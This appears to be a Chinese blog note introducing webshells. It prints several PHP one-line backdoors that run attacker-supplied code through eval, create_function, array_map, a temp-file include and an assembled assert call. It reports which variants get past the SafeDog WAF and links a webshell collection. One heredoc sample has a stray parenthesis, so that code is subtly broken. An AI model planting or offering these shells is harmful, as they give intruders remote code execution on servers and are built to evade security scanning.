webshell初探
一.webshelll简介
webshell也就是网页muma,包括大马和小马,小马通过caidao等工具进行连接,大马自带管理界面。现在webshell支持包括php,asp,jsp,perl等语言。
二.webshell体验
1.小马总结
- 一句话
- 1.
<?php @eval($_POST["pass"]); ?>
上面就是最简单的一句话,用于菜刀进行连接,单但现在基本上都会被安全狗查杀.- 2.waf绕过技术
<?php error_reporting(0); $pass=$_GET['pass']; $func=create_function("",$pass); $func() ?>
上述通过构造了一个函数实现简单的伪装,不过还是没通过waf
- 3.
<?php error_reporting(0); $pass=$_GET['pass']; function detect($val) { $a=create_function("",$val); $a(); } detect($pass); ?>
这个也被安全狗拦截.- 4.
<?php error_reporting(0); $pass=$_GET['pass']; function detect($val) { array_map(create_function("",$val),array(1)); } detect($pass); ?>
array_map(回调函数,数组)——————为数组的每个元素应用回调函数。
但即使通过php的回调依旧没有绕过安全狗。
上面所有php脚本都采用的是GET方式提交主要是为了测试的方便,正常使用一般替换为POST.
其它方法:
<?php
error_reporting(0);
$p=<<<EOF
<?php
\$pass=\$_POST['pass']);
function func(\$val){
array_map(create_function("",\$pass),array(1));
}
func(\$pass);
?>
EOF;
$dir=sys_get_temp_dir();
echo $dir."<br>";
$tmp=tempnam($dir,"webshell");
fwrite(fopen($tmp,"w"),$p);
echo $tmp;
include $tmp;
unlink($tmp);
var_dump(file_exists($tmp));
?>
上面的免杀处理挺巧的,直接将执行代码放在另外一个文件中,通过读写文件实现代码插入,其中图片免杀也应该是同样的原理。
<?php
$str=file_get_contents("./b.php");
$str($_POST['pass']);
?>
这里因为断网,因此用的是本地文件调用,测试成功。
使用其它语句比如assert,system等。
<?php
$arr = array('a','s','s','e','r','t');
$func = '';
for($i=0;$i<count($arr);$i++) {
$func .= $arr[$i];
}
echo $func;
$func($_REQUEST['pass']);
?>
上述代码都测试成功。
2.大马简介
大马是自带ui的webshell,不需要菜刀等连接工具。现在的大马功能都还是很全的,包括explore(文件浏览器),terminal(终端)不过好多好像映射有一些问题,还包括Mail(邮件发送),process(主机进程查看)。还没测试过免杀功能。关于这一块,github上有一个项目挺好的,https://github.com/tennc/webshell。后门自测,如过只是本地使用,其实有没有后门什么的根本没有关系。
至于其他语言的webshell,暂时还没有体验,不过应该大同小异,python_shell的话一般是反弹shell,配合么metasploit使用。